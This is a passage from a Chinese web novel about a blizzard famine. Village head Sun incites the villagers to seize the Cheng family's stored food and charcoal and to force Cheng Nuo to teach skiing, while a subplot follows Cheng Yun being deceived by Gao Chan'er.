程诺连续喊好几声,才将人不知飘到哪里的魂叫了回来。 意识到失态,孙婶子捂嘴笑起来:“哎呦,丢人丢人,一把年纪……”看到个俊俏后生呆住了,说出去不得被人笑死。 程诺打趣道:“婶子尽管看,我不会告诉大树叔的。” 孙婶子难得红了脸,好不容易正了神色,说起正经事。 “这一个月,村里发生不少事,准确说,是死了不少人,大伙儿被一场暴雪逼得心绪不稳,四娘,像今天送馒头的事,以后千万别再做了,村里人心变了,为了一口吃的,能要人命的。” 看来云溪村的情况,比大梨村还要严重。 程诺:“我们村也有三户人家没挨过去,哎……造孽。” “才三户?”孙婶子伸出两根手指比划了下,“咱们村已经死了这个数了。” “七户?” 孙婶子摇摇头,眼里满是悲伤:“十七户,足足六十八口人。” “六十八人?” 此言一出,程诺和十七眼里皆是震惊。 要知道云溪村,一共不过一百来户人家,四五百人,一场暴雪足足死了七分之一的人口。 程诺听得心惊,也意识到孙婶子口中的“人心变了”是什么意思。 吃不饱穿不暖的时候,人性恶的一面就会暴露无遗。 孙婶子叹口气:“天冷,大多数人家都是冻死的。” 说着,二人走到一户低矮草屋前,草屋早已被大雪压塌。 程诺记得这儿,穿过来的第一天,她来过,是村里懒汉张三的住处。 孙婶子寻着视线望过去:“死了,村里死的第一个人就是张三,大多数人家是被冻死的,只有他,是懒得出来清理屋顶积雪,某一天晚上屋顶塌了,压死了。” 程诺:“他姐姐一家也死了,只留下一个男孩,现在被村里没孩子的一对夫妻收养。” “也好,黄泉路上有个伴儿,”孙婶子想起张三一家曾对程诺做过的腌臜事,道,“何尝不是一种报应,谁让她们活着的时候,不好好做人。” 再往前走,又是两户门前积雪没人打理的人家。 想来主人也不在了。 不远处有村民站在屋檐上,屋里憋得难受,站在屋顶眺望远方,哪怕只能看见几只飞鸟,也会觉得日子没那么憋屈。 站得高望得远,他一下子瞧见走到雪道里的一男两女,其中一个女的是村口的孙婶子,另外两个似乎不是村里人。 “咱们村好像来外人了?” 男人媳妇在院里扫雪,闻言以为丈夫失心疯:“你见鬼了吧,这么高的雪墙,外人怎么进村?飞来的不成?” 直到看清程诺的脸庞,男人瞳孔陡然收缩:“是程四娘来了!” 程四娘的名号太响了,孟举人的前妻嘛,当时两人分开,闹得轰轰烈烈,到现在还是村里人的谈资呢。 “不会吧!程四娘娘家离咱这儿远着呢,她怎么来的?”妇人跟着爬上屋顶,果真瞧见程诺等人,忙拍着丈夫的胳膊,激动道,“快去通知村长。” 程诺远远看到屋顶上的夫妻两,大概能猜到二人的交谈内容,装作没瞧见,敲响了家门。 “娘,二哥,三哥,我来了。” 程母正在灶台骂三儿媳武春来将面饼摊糊了,突然听到院门外传来熟悉的声音,一时间以为自己思女心切,出现幻觉,没搭理。 “摊个饼都能糊掉,你还能干什么?这块黑掉的你吃!” 程母心疼面粉,更糟心儿媳没用。 从前有大儿媳妇在,厨房里的活儿交给两个儿媳妇轮流干,程母没觉得武氏不中用,如今跟大房分开不到两个月,她才知从前赵氏不知私下里帮武氏干了多少活儿。 武氏天天挨婆母训斥,都快养成习惯了,奈何躲懒这些年,灶台上的手艺忘得差不多,她又是那种越挨骂越倒退的性子,现在每次进厨房,她从心底里生出恐惧。 “娘,哥哥,你们在家吗?” 门外的呼喊声,再次响起,这回不等程母反应过来,程二顺先走出屋。 “娘,我怎么好像听到小妹的声音了?” 程母三两步走出厨房:“我还以为出现幻觉了,你也听见了?” 二人脸上先是震惊,接着被巨大的惊喜覆盖,程二顺激动地打开门,果然瞧见站在门口的程诺和十七。 本小章还未完,请点击下一页继续阅读后面精彩内容!程母高兴地原地又蹦又跳,抱住女儿左看右看,“娘的宝贝,真的是你,娘还以为做梦呢!” 程二顺拍着十七的肩膀,笑道:“有日子没见,壮了,家里还好吗?” 孙婶子将人送到门口,寒暄两句便要离开。 “改天来玩啊!”程母将人送出门,这才欢喜地捂住程诺冰冷的手,给她搓了又搓,“手好冷,一路上冻着了吧?快进屋烤火。” 程三虎闻声走出来,见到突然出现在院中的小妹和十七,激动地直拍大腿,抓着二人问家里和大梨村的情况。 “爹怎么样了?身体还好吗?” “这么大的雪,你们怎么过来的?” “村里人如何了?柴火和粮食够吃吗?” 程诺边往屋里走,边捂着耳朵道:“三哥,你一个一个问,还有先给我弄点吃的,好饿……” 程母转头吩咐武氏:“还不快把摊地饼拿过来,再烧点姜茶,给四娘驱驱寒,一点眼力见没有。” 武氏一撇嘴,不情愿地进了厨房。 程诺感觉到武氏不满的情绪,看来这段时间,她没少被娘调教。 一人吃了三块饼,腹中饥饿感消散,程诺这才有了精神。 环顾屋内,发现不见何大夫的踪迹。 “娘,何大夫人呢?” 程母正抱着程诺带过来的两块板子研究,闻言道:“村里有人病了,请何大夫去瞧瞧。” 程诺点点头,不在也好,她还不知道怎么跟何大夫交代他兄弟何武一家的惨状。 程母一瞧女儿不安的神色,便知二人此次不仅为了探望他们而来。 “家里出什么事了?别瞒着娘,是不是你爹身体不好了?” 程诺见母亲一脸担忧,摇摇头,缓缓将事情来龙去脉讲清楚。 从暴雪来临,到挖雪道做滑板,再到村民一起上山砍柴,结果遭遇狼群,程大壮受伤一系列事,用最简洁的口吻说了一遍,省略了程云春心萌动,擅自脱离队伍,招惹狼群那段。 程母听到儿子受伤,神色大变,捂着胸口惊慌不已,直到听程诺说程大壮没有性命危险,但需要何大夫跟着一起回去一趟,才在儿女的安慰中稍稍安心。 说话间隙,何大夫从屋外进来,身上背着的药箱发出“哐哐”的碰撞声,好奇道:“今天院门怎么开着?来客人啦?” 何大夫刚走进屋内,见到被众人围在中央的程诺,还有站在她身侧的男人,先是惊讶,接着是惊喜:“四娘!十七!” 程诺和十七依次打招呼: “何大夫。” “何大夫,好久不见。” “你们怎么过来的?”几乎每一个见到他们的人,问出的第一句话都是这个。 程诺耐心又解释一遍。 何大夫三两句寒暄后,话题自然而然落到弟弟何武一家:“我弟弟他们还好吗?他家人多孩子小,估计饿得够呛,我走时留下的柴火和粮食,不知他们能撑多久……” 他絮絮叨叨说着,突然发现面前二人垂眸,脸色凝重。 一股不好的预感油然而生,何大夫觉得自己脚底生出凉意,不安地开了口:“是不是家里有人过世了?”他脸上苍老的皮肤不自觉抖动两下,接着干笑道,“没事四娘,你说,叔有心理准备,天太冷,云溪村死了那么多人,大梨村定然躲不了,是我弟弟弟妹没熬过去吗?” 老人身体差,灾难来临,先遭难的总是他们。 迟早是要知道的,程诺深吸一口气,将何武一家九死一生的惨剧说出口,她没有说何家人尸体被发现时,现场是何等惨烈,只交代何家被冻死的原因是屋顶虫蛀漏水。 何大夫听到弟弟全家只活下来一个最小的侄孙女,顿时面若金纸,嘴唇颤抖得厉害,喉间有隐隐哀嚎传出。 一时间,跟弟弟自小一起长的画面浮现眼前,何大夫绝望闭了眼,气血上涌脑后阵阵发懵,要不是程二顺扶着,险些栽倒在地。 “人死不能复生,节哀啊何大夫。”程母红了眼。 何大夫仰天长叹一口气,两颗滚烫的泪珠顺着眼角滑落,声音悲切:“都是命,造化弄人。” “何武叔一家的尸身还未下葬,村长的意思是等您回去再做决定,至于阿宝您不用担心,她如今住在我家,跟小盼儿作伴,”说起可怜的孩子,程诺忍不住哽咽,“她还不知道父母亲人去世的消息,以后还望何大夫慢慢说给她听,阿宝是个聪明懂事的孩子,会了解大人的一片苦心的。” 何大夫给程诺郑重做了个揖,程诺不敢受,往旁边侧身,躲了半礼,接着将此行的目的告知众人。 “这回,除了想请何大夫回去给我大哥治伤,我还想教会两位哥哥滑雪,掌握这项技能,便能走出村落,不管是上山伐树,还是进镇采买,都不成问题。” 程二顺早在听到程诺二人踏雪归来时,心痒难耐想要尝试,一听程诺说到心坎里,立马举手表示立刻就想学。 此时,程家院门口,站着几个村民。 本小章还未完,请点击下一页继续阅读后面精彩内容!为首的是云溪村的孙村长。 先前站在屋顶发现程诺回来的汉子,听到屋内人的交流,立刻冲身边青年人道:“村长,你听,程四娘是想把何大夫带走吗?何大夫走了,咱么村人有个头疼脑热找谁去?” 孙村长更关心程诺和十七是怎么从大梨村走到云溪村的,道:“程四娘刚说要教程家两儿子干什么?滑雪?雪如何滑?” 汉子摇头:“不知道,但您听她话里的意思,学会滑雪能上山砍柴,到时候咱们村的人就不用担心柴火不够的问题,没准还能去镇上采买粮食,有火有粮,村里就不会再死人了。” 听到不会再死人,孙村长紧皱的眉心,终于有了一丝松懈,连脸色跟着舒展起来。 村里已经死了六十多口人,天灾面前,人类无力阻挡,死多少都算不到他头上。 若周边每个村镇都死伤无数,他可以底气十足地将烂摊子交给上头处置,可听程四娘方才的意思,大梨村才死了三户人家,那性质就完全不一样了。 同样是村落,为什么大梨村只亡了三户,云溪村却死了十七户。 上头若真要追究,治他个组织不善的罪名,别说是日后晋升,怕是连现在的村长之位也保不住。 大梨村并不比云溪村富裕,那里的村民为什么能活下来这么多,难道他们提前知道会有暴雪,屯粮屯柴了? 是谁告诉他们会有暴雪的? 孙村长突然脑海中闪过零星片段,暴雪来临前两日,在大梨村生活得好好的程家人,突然来了云溪村,带来不少粮食和柴火。 程家人说青砖瓦房挡风挡雨,要来村里过冬,没准他们就是提前得到会有天灾的消息,特地跑过来的。 一想到这种可能,孙村长咬紧牙,为什么程家人不告诉云溪村的百姓,让她们提前做好防范工作,那些死去的村民,本可以活下来的! 难道是之前孟举人的事,程家记恨村民没有站在程四娘那边,起了报复的心思,程家是故意的? 喜欢饥荒!前夫一家饿肚肠,我有系统黄金万两请大家收藏:()饥荒!前夫一家饿肚肠,我有系统黄金万两更新速度全网最快。 第一百六十三章 没爹娘教会他们做人的道理 “何大夫不能走!” “砰”的一声,院门被人大力推开,撞倒院墙上,晃晃悠悠摇摇欲坠。 孙村长带着身后跟着的四五个村民走进院中,神色不善望着程家众人。 程二顺和程三虎将家人拦在身后,问道:“孙村长带人闯进我家,是什么意思?” 孙村长走上前,目光落在地上的箩筐上,里头有两块木板做成的东西,从前没见过,他猜这就是程四娘能走来云溪村的关键。 “外头风雪大,何大夫老了,我怕他身子骨撑不住,”孙村长一派义正言辞,替他人着想,实则是为了让程诺说出在雪上行走的方法。 何大夫道:“村长不用担心,老朽命不值钱,我弟弟一家因雪灾离世,只剩下个不足五岁的侄孙女,我得回去瞧瞧。” 人群里有汉子说:“人都死了,有什么好瞧的,这些日子,何大夫死人还没见够吗?” 何大夫冷眼瞥过去,眼神里像是淬着冰:“死去的是我亲弟一家,我回我自己家,需要跟你解释吗?” 汉子被噎住,身体不由自主往村长后头藏了藏,依旧感觉何大夫的视线跟刀子似的要将他凌迟,他声音嗫嚅:“我就随口一说……” 说话的汉子叫孙威,跟村长家沾亲带故。 孙村长笑着打圆场:“他嘴笨心不坏,何大夫别跟他一般见识,原来是您家里出了丧事,节哀顺变节哀顺变,这样,我在村里找几个身强力壮的汉子,跟何大夫一起回去帮您料理家中后事,就当感谢您这段时间对村民的照顾。” 身强力壮? 村里还有走路不打摆子的村民吗?人人饿得前胸贴后背,还有闲工夫操心别家的事,就连程母都看出孙村长一行人意在别处。 程诺但笑不语,何大夫看了眼她的神色,继续道:“不用麻烦,大梨村百姓不少,不至于没人给我弟弟一家抬棺入葬。” 见对方油盐不进,始终不肯松口,孙村长的脸色渐渐沉下来。 其实他若大方坦荡些,用恭敬求人办事的态度请程诺教授村民雪上行走的法子,程诺未必不会答应。 人命当前,即便从前跟孙村长有些许龃龉,她也不会放任云溪村的百姓不管,只是对方态度倨傲,一进门先是质问,身后跟着的几个村民更是口不择言,怎能不让人心凉。 果然,在何大夫说出婉转拒绝的话后,村民的目光出现一丝慌张。 众人觉得程诺此行就是为了将程家人带走,他们走了,云溪村的人岂不是只有等死的份儿? 既然大梨村的村民可以上山砍柴,凭什么他们不行,滑雪之法,程家人今天不教也得教。 孙村长冲身后的孙威一颔首,孙威立刻跑上前将程家放在地上的箩筐拿到跟前,里头的滑雪板、护具以及冰刀,统统被粗暴地丢在地上。 程三虎撸起袖子,伸手直指孙威,胳膊上青筋直爆:“孙子,你干什么?” “云溪村收留你们这么长时间,到了你们回报的时候了。”孙威有村长和不少同村人撑腰,本以为无惧程三虎的威胁,却还是在看到对方一身腱子肉时,瑟缩了一下。 程家人不怎么出门,也不爱跟村民们走动,今日见了才知道大伙儿传言程家粮食多柴火多的事,不是谣言,瞧瞧程家个个面色红润,两个月的雪灾气色竟没有消减半分,还有屋里正“熊熊”燃烧着的炭火,将屋子烘得暖和和的。 再看看别家,谁不是吃了上顿没下顿,抱团取暖,生怕半夜一觉睡过去,人就被冻死了。 倘若程家愿意将家中存粮炭火分一部分给村里饿死、冻死边缘的百姓,何至于没了那么多人。 此时的程家在他们眼中,成了自私自利的鱼肉乡里的刽子手。 村民的嫉妒之火被点燃,仿佛给各自强盗般的行为找到借口。 几个村民眼疾手快,直接冲进程家厨房和后院。 程二顺和程三虎想拦着,没想到对方动作太快,加上今天程诺回来的突然,刚做完午饭的武氏没来得及将家里藏炭火的屋子关好,就这么暴露在村民眼皮子底下。 很快有村民如获至宝喊起来:“炭火,程家藏了好多炭火。” 惊喜的声音逐渐染上妒意:“后院还有猪肉和羊肉,足足好几扇!” 最后成了愤恨:“厨房里还有七八袋米面,中午烙的饼里还掺着肉馅……” 孙威想起每个冻得瑟瑟发抖的夜晚,想到每顿食不果腹的餐食,咬牙切齿道:“要不是云溪村收留你们,你们程家人能安稳地住在青砖瓦房里?家里这么多炭火和粮食,不分出一些救济村民,你们的心太黑了,简直不配为人!” 孙村长点头,十分赞同对方的话,像是抓到程家人的把柄,语气变得高高在上:“孙威说得不错。” 程二顺和程三虎将几个冲进屋子的男人赶出来,厨房那个还在往嘴里塞饼子,吃得一脸饿死鬼投胎的模样。 “滚滚滚,有没有天理,有没有王法了?家里的米粮是我家花钱买的,不偷不抢,怎么处置是我们自己的事,轮得到你们放屁?”程二顺一把抢过汉子嘴里的饼,又从另一个男子怀里翻出两块压扁的木炭,“你们跟强盗一样闯进我家,偷吃偷拿,还给我们扣帽子,没见过这么不要脸的人!” 这章没有结束,请点击下一页继续阅读!孙村长面上毫无羞愧:“别转移话茬,兔子急了还咬人,更何况是人,朝廷把百姓逼急了都要造反起义呢,我们现在是在给村民谋福利,给云溪村的百姓争出路。” 此时,程家院外聚集不少听到动静赶来看情况的村民。 大伙儿一开始只是瞧热闹,直到有人从程家翻出众多米粮和炭火,又在孙村长一番话的鼓动下,大伙儿的心逐渐偏了,都觉得村长是在给他们谋活路。 “说得不错,程家心黑啊,见死不救,猪狗不如。” “当初程四娘被抛弃,亏我还同情她,觉得孟举人一家过河拆迁,现在才知道程家也不是什么好东西。” “程家本就是外村来的,根本不是咱们村里的人,到了云溪村地界上的东西就应该归咱们处置,大伙儿觉得我说得对不对?” “哈哈哈……” 一道女子的讥诮声,打断众人的议论。 仿佛听到笑话,院中长相清丽的女子笑弯了腰。 孙威怒视:“笑什么笑?” 程诺冷眼瞥过去:“笑你们当婊子还想立牌坊,干着强盗的事,却想要给自己搏个好名声。” 孙村长:“胡说八道,我们是为了村民们能活下去,程四娘,大伙儿已经到了山穷水尽的时候,你好歹也在村里住过五六年时间,算半个云溪村人,但凡是个人有点良心,自己把粮食交出来,村里孤寡老弱先分,剩下的再分到各家各户,放心,我不会亏待你们,你们家可以分到别家双倍的量。” 男人一脸义正词严,仿佛他的建议,已经给了程家莫大的好处。 程家应当感恩戴德,然后将粮食炭火亲自拱手送上才对。 程二顺朝地上啐了一口:“呸,笑话,本来就是我家的东西,说得好像要对你感恩戴德似的,姓孙的,你只是个村长,没权利分我家的粮!” 孙村长一脸淡定,冲身后众人道:“你们说,我这个当村长的,有没有权利?” “有!” “当然有!” “村长的话就是云溪村的律法,他说什么就是什么!” 分了程家的粮,家里人就是多吃一口,多暖和一晚。 村民们心中哪还有道义,饥荒不仅掏空他们的五脏,更啃食他们的灵魂,叫嚣着冲进院中,恨不得村长即刻主持正义,将程家的粮食分了。 程诺此刻终于意识到,之前孙婶子叮嘱的“人心变了”是什么意思。 人心何止变了,人心还脏了。 程诺在人群中看见不少眼熟的村民,同村的那些年,抬头不见低头见,大家和和气气说过话的,真到了关键时刻,竟没一人站出来说一句公道话。 她缓缓走上前,在众人身上来回逡巡,锐利的视线直盯的众人后背发凉,最后目光落在孙村长身上。 男人一脸得逞的笑意。 不得不说,姓孙的鼓动村民的手段让人佩服,难怪年纪轻轻能当上云溪村的村长,确实有两把刷子。 讨要程家粮食是假,阻止何大夫回村也不真,他真正的目的是想让把程家逼入绝境,用教授滑雪的方法自救,以平息村中百姓的怒火。 这不,已经有人上钩了。 村民一拥而上,拦住程家众人去路,孙威带着汉子们再次冲进屋里,将里头的炭火搬到院中,很快垒到小人高度。 武氏看得心焦不已,口不择言:“别动我家木炭,你们想要柴火自己去山上砍柴啊!” 孙村长眼尾一抬,目光紧盯地上的滑雪板和冰刀:“你说得容易,大雪封山,大伙儿连走出村口都做不到,怎么上山砍柴?” 武氏脑子简单,村里人来抢粮抢炭,不就是因为出不去吗?程诺先前说了,只要学会滑雪,不仅能走出村子,还能上山砍柴,还能去镇上买粮。 “我有办法,不对,是我小姑有方法,她会滑雪,她教会大伙儿滑雪,村里人就能出去了!”怕大伙儿不信,武氏指着程诺冲大伙儿道,“程四娘,你们认识的,她今天从大梨村走过来的,靠的就是地上那两块板子。” 一听能走出村子,大伙儿连粮和炭都顾不上,情绪激动抱起地上的滑雪板和护具,像是看到救命稻草般。 孙威大喊出声:“难怪我刚在门口听到程诺说要教会何大夫和她两个哥哥滑雪,然后带他们回大梨村,该不会回去就不再回来了吧?” 一听此话,村民脸色顿时变了,不回来了,那怎么行。 众人死死抱住滑雪板,生怕活命的机会转瞬即逝。 “不行,我们也要学,我家里人快冻死饿死了,现在马上就要学滑雪!” “程四娘,你先教我学,村里人命关天,你两个哥哥什么时候不能学,他们一时半会又饿不死!” “没错,是这个道理,村长赶紧组织起来,大伙儿早学早好。” 孙村长计谋得逞,咳嗽一声,示意众人安静,道:“既然大伙儿都这么说,那我就做个主,明天开始程四娘教大家准备滑雪工具,备齐后各家出一个男丁,跟着学滑雪。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“好!听村长的。”众人一呼而应。 没人征求程诺的意见,没人关心程家人铁青的脸色,更没人试图帮程家说一句话。 最后,大伙儿情绪上头,志气满满时,孙村长像是终于想起程诺,笑道:“四娘,你没有意见吧?让大伙儿走出村落,是积德行善的好事,这样的好事,别人巴不得落在自己身上,没人会拒绝的,是吧?” 程诺嘲讽勾起唇角,赶鸭子上架?好啊,村民想上课,那她就好好给他们上上课,没爹娘教会他们做人的道理,那她来代劳。 “当然不会拒绝,”程诺往日里总带三分笑的眼眸,此刻染上寒意,她缓缓道,“不过我有言在先,滑雪是很困难的,轻则摔伤,重则断胳膊断腿,有性命之忧。” 村民一听会伤到性命,一些人生出退意,他们是求活路,不是提前进阎王殿的。 孙村长只当程诺的话危言耸听,半点没放在心上,笑道:“连你都能学会,我们云溪村的儿郎,自然也能学会,除非……你没用心教。” 言外之意,男人难道还比不过女人。 怕程诺心里有气,教课途中耍诈,村长有意提点警告她别耍花样。 打一巴掌最后又赏了颗甜枣。 “四娘,别怨大伙儿,但凡有别的活路,大伙儿也不会麻烦你,这样,只要村民能走出云溪村,之前你家自私自利藏粮食的事,我做主,不会追究了,该你家的还是你家的,怎么样,我还是向着你们的吧?” 程诺:从未见过如此厚颜无耻之人。 程二顺:真想把臭鞋子摔在他马脸上,臭不要脸的东西。 程三虎:拳头好痒,想打人,一、二……十三、十四,人太多,数量不占优势。 十七:这人只当村长可惜了,嘴脸像极了昏庸皇帝身边的奸臣…… 等人群散了,程家终于清净下来。 程二顺去关院门,却发现雪堆后头有人监视。 喜欢饥荒!前夫一家饿肚肠,我有系统黄金万两请大家收藏:()饥荒!前夫一家饿肚肠,我有系统黄金万两更新速度全网最快。 第一百六十四章 不会是私奔吧? 看来是村长怕程诺跑了,特地安排村民盯着程家动静。 他将被监视的消息告诉家里人。 程母瞪着武春来,骂道:“就你嘴碎,什么都往外说,现在好了,那帮人把咱们当犯人看守,何大夫不学滑雪如何回去给老大看病?老大要是有个三长两短,我饶不了你!” 武春来一脸委屈:“我也是为了保护家里的炭火和粮食,再说了,四娘教一个是教,教一群也是教,我们帮村里人渡过难关,他们日后会感激我们的,人都是有良心的。” 程母一脸恨铁不成钢,撕着媳妇的眼皮,想看看她眼睛是不是瞎了:“你哪只眼睛看见他们有良心了?当初四娘被休,村里多少人瞧热闹,明里暗里使绊子,我不否认村里有心善的好人,也没想着见死不救。但怎么救,救什么人,不是村长说的算的,更不允许他们拿刀架脖子上逼我们就范。” 武氏还没意识到错误,心里觉得程母偏心小女儿,不管她说什么都是错。 “反正事情已经这样了,说再多也没用,娘你不如劝四娘想开点,不就是教几个人滑雪嘛,能有多难。” 次日一早,村长带着各家选出的汉子来了。 人群里有年过半百的一家之主,有骨瘦嶙峋的少年,个子高矮不一,唯一相似的是大伙儿瘦削的脸庞。 孙村长面露得意:“人带来了,滑雪板我也找人做出来了。” 程诺和十七的滑雪板昨日被村长一行扣押,美其名曰研究学习。 村里也有木匠,村长连夜找对方做出几副相似的,照猫画虎有九成相似。 他却不知滑雪板需要按照每个人的要求量身定制,程诺扫了眼地上的滑板,并没有提示的打算。 程诺爬上屋顶,先给大伙示范一遍,动作顺滑宛若在丝绸上行走,脚下的滑板似乎已经跟身躯融为一体,每个动作连贯顺畅,看得下面的村民既羡慕又兴奋。 “先说好,滑雪是项很危险的活动,大梨村多的是人学习过程中摔倒摔伤,怕死的别学,受伤了也别找到我头上。” 大伙儿只觉得她危言耸听,谁也没见过受伤的村民,纷纷敷衍道。 “知道了,知道了。” “瞧着也不难,哪有那么夸张。” 程诺冷眼扫了一圈,只见到滑板,却没护具:“护具呢?” 村长语气中有难掩的嘲意:“我们村不如你们村富裕,找不出多余的布料。” 谁也不乐意将好好的衣服被褥扯下来作护具,反正雪那么厚实,人摔在雪地上能有多痛。 程诺嘴角几不可察抽动一下:找死。 十七一跃跳上屋顶,站在程诺身旁,就听她道:“不听劝的人,不用费力教导。” “明白。” 这边云溪村的村民吵吵嚷嚷声中,乱作一团开始学滑雪,另一边的清泉镇,程云一行正借住在苗胖儿婶家。 高娟儿帮苗婶子洗完锅灶碗碟,又利索地回屋将睡了一晚的床榻、摆设一一复原。 高婵儿坐在镜子前整理妆容,胭脂水粉之类的肯定是没有的,她拍了拍脸颊,试图让气色瞧起来红润些。 “去给我打点热水来。” 高娟儿瘪瘪嘴,嘀咕道,“没嫁进洪家呢,使唤人的本事先学会了。” 高婵儿置若罔闻,自顾欣赏镜中比往昔略逊色的容颜,心中担忧洪少爷看到她这幅模样,会不会反悔。 不会的,不会的,可以调理好的,只要吃得好穿得暖,她就能恢复到从前的模样。 胖婶儿躲在屋里,时刻观察外头的动静,戳了戳丈夫的胳膊:“昨晚你跟小云睡一起,他说没说跟这两姑娘什么关系?” 苗叔翻了个身:“我没你这么好打听。” 胖婶儿一脚踹在他后背上:“一个热血方刚的少年,大晚上带着两个小姑娘借宿,这么冷的天,能有什么急事?” “兴许是程家亲戚。” “不可能,”胖婶儿一脸笃定,“程家有几口人我能不知道?四娘跟我说过,她是有几个侄女,最大的不过十岁,你再瞧这两个,明显到议婚年纪了。” 议婚二字一出口,一个想法立即在她脑海中盘旋。 “不会是私奔吧?”胖婶儿惊讶地捂住嘴。 苗叔白了她一眼:“你瞧见哪对私奔的小情侣,还带个尾巴的?” “不行,我得去问问,真有事,我也好及时告诉四娘。” “外头大雪比人高,你怎么出去……” 话没说完,人已经小跑出去了。 苗婶子在房门前驻足片刻,拐道去了厨房,就见里头的小姑娘正在烧水。 小丫头烧炭的技术不错,一根木炭在她手里抵得上别人两根的燃烧时间,一看就是平时在家常干活的。 听到动静,高娟儿抬起头,看见是屋主来了,忙站起身:“苗奶奶好,我……我烧点水,一点就好。” 她声音底气不足,像是干坏事被抓包,冬天柴火精贵,她们又是借宿,若不是高婵儿催着要热水敷脸,她说什么也满脸来厨房。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“没事没事,多烧点,”苗婶子看出她的局促,“我们平时在家也烧水的,木炭够用,不用给我们省炭。” 大雪之前,程诺给她们递了口信,让多准备些木炭过冬,越多越好。 她们信任程诺,虽不知道为什么要准备这么多柴火,还是听从她的建议,在瓷商的窑厂里买了一百斤木炭,足够老两口用很长时间。 高娟儿笑眯着眼,看眼前老太太的神情也越发亲近起来:“苗奶奶您人真好,难怪程云说您平易近人,人美心善,肯定会收留我们姐俩住一晚的。” 谁不喜欢听好话,苗婶子被哄得捂嘴直笑,“程云这小子嘴甜得很,以后不知哪家小姑娘跟他了,也不用吃糖了,甜言蜜语够把人齁死。” “我一开始也不信,见了您和爷爷才知道,程云说的话一点不假,不,准确说,您比他口中说的还要更和善,让人一看就想亲近。” “好姑娘,跟你说话,真让人舒心。”苗婶子心情愉悦,看小姑娘越瞧越顺眼。 高娟儿从小在家看爷奶脸色生活,在爹娘的眼神中活得小心翼翼,自小锻炼出察言观色的本事,一双巧嘴比起程云不遑多让,甚至更胜一筹。 见人说人话,见鬼说鬼话。 老人家喜欢乖巧懂事嘴甜的孩子,主人家喜欢知礼数懂进退,有分寸的客人。 刚好,高娟儿拿捏得当。 “我来帮你。”苗婶子将水倒进铜锅中。 高娟儿看着眼熟:“这东西好像四娘姨也有一个,用来装卤肉的。” “我就是跟她学的,找铜匠打了个一模一样的,保温效果比铁锅好得多,在外头塞上一层棉花,放在木桶中保存,水到早上还有热气呢。” 听到小姑娘喊程诺姨,苗婶子以为两家是亲戚,顺势问出心中疑惑,“你跟你姐姐眉眼长得蛮像的,但跟程云不太像。” 高娟儿笑道:“那是我堂姐,眉眼像正常,只是我没堂姐长得俊,程云又不是我家亲戚,当然跟我们姐俩长得不像。” 不是亲戚啊。 苗婶子:“那你们来镇上做什么?” 高娟儿眼珠子一转,知道不能说实话,但也不想说假话,囫囵道:“是我们家有事必须来镇上,寻人……对,寻门亲人,家里长辈不会滑雪,只能请程云带我们一同来,两个女孩子在路上毕竟不安全,家里人不放心。” 原来事先告知过长辈了,那程家人应该也同意的。 苗婶子放下心,只要不是私奔就行。 高娟儿刚把热水送进屋,高婵儿将水葱似的手指浸泡在热水中,斜眼瞥着身旁少女冻得青紫满是冻疮的手背,嫌弃地移开眼。 “你去想个方法支开程云,别让他跟着我们一起去洪家。” 高娟儿往椅子上一躺:“我没办法,要说你说,谁让你跟他撒谎,要圆谎想到我了。” 高婵儿气得直跺脚,“我不撒谎他能送我们过来吗?” “不好说,程云就是个被你耍在掌心里团团转的傻子。” 高娟儿起身头也不回出房门,想在离开前帮苗婶夫妻将院中残雪清理干净,面前突然拦过来一道阴影。 抬头一看,是面色阴沉的程云。 “你们不是抓药的,是来找洪家人的。” 他语气笃定坚毅,应该是偷听到厨房跟苗奶奶的谈话,面上的委屈和不甘让人无法忽视。 “你们骗我!” 明明不是自己的错,高娟儿还是有种做错事被抓包的羞愧感。 “我……我们没办法,对不起……” “呵!”少年冷笑出声,“我真傻,以为她回心转意,愿意给我一次机会,竟是把我当成登青云的梯子……” 高娟儿不想看少年失落的眉眼。 她真的很无辜。 两头不是人。 高婵儿显然听到动静,推开门走了出来。 少女特地换了一身干净的衣裙,绾了个精巧却不繁琐的发髻,鬓边簪了一朵粉色绒花,衬托得她清丽可人。 只是美人说出的话却比冬日风雪还要寒凉:“程云,接下来的路,我和娟儿自己走,你回村吧。” 程云不肯,只死死盯着她。 高婵儿被他冷漠的视线盯得心慌,依旧高傲地仰起头:“有些话我没亲口说,是给你留面子,看在自小一起长大的情分上,日后我发达了不会忘了你,你家人不是一直想让你在镇上学个手艺吗?洪家有很多铺面,肯定需要账房,到时候我……” “我不需要。”程云声音冷淡。 高婵儿以为他要面子,难得耐着性子劝道:“别逞强,人这一辈子能把握住的机会不多,一旦做错选择,后悔十几甚至几十年,就像你小姑,当初所托非人,不就浪费了六年时间,以后指不定还得因此蹉跎多少年岁……” “闭嘴!你没有资格说我小姑!”程云寒冰似的眼眸,终于染上一丝怒意,像是一头愤怒的野兽。 高婵儿吓了一跳,她没见过这样的程云,少年在她面前永远是讨好微笑的模样,不知道他为了家人可以跟全世界为敌。 这章没有结束,请点击下一页继续阅读!悻悻闭上嘴,转头对高娟儿说:“跟苗家老两口说一声,我们走了。” 她再没多看程云一眼,回屋收拾滑雪板和行囊,往镇西洪家方向走。 “回去记得代我向你小姑问声好,等雪化了,我还指着你家的卤汁当浇头呢。” 胖婶儿站在门前,轻声叮嘱准备回村的程云。 程云点点头,接着从怀里掏出几个铜板要塞到对方手里:“多谢苗奶奶收留,这是一点心意。” 胖婶儿忙摆手,说什么不肯收:“拿走拿走,跟苗奶奶见外了是不是?若不是你着急回家,我还指望你留下来多陪陪我们老夫妻俩,暴雪封路,儿女都不在身边,待在家怪无聊的。” 程云不再坚持,将铜板重新放回荷包,笑道:“等小姑忙完这阵,她肯定会来镇上拜访你们的,到时候我再来您家住几晚,您可别嫌我话多。” “不多不多,奶奶就喜欢你这样的,热闹,”苗婶子说着,指着高婵儿二人离去的方向,问,“不跟那两姑娘一起回去?” 程云眸色暗淡,摇摇头:“不了,不顺路。” 四下寂静,只听得脚下滑雪板踩在雪堆上的“吱吱”声,漫天白雪中,除了道路两旁的屋舍,难见踪迹。 偶有百姓看到在雪上走路的程云,摇下窗探出脑袋问:“小伙子,你脚下踩着什么?” “滑雪板。” 程云勉强打起精神回复。 脚下的木板好像比来时重上不少,少年仰头望天,无奈呼出一口热气,面前飘起的白色雾气,氤氲他的脸孔。 “哎~” 一阵长叹后,少年终究放心不下,转头往反方向走去。 高婵儿和高娟儿走到洪府门前时,不出意外洪府大门紧闭。 门前两个雄武石狮子被大雪覆盖,只露出圆滚滚的脑袋,还有双威严的瞳孔。 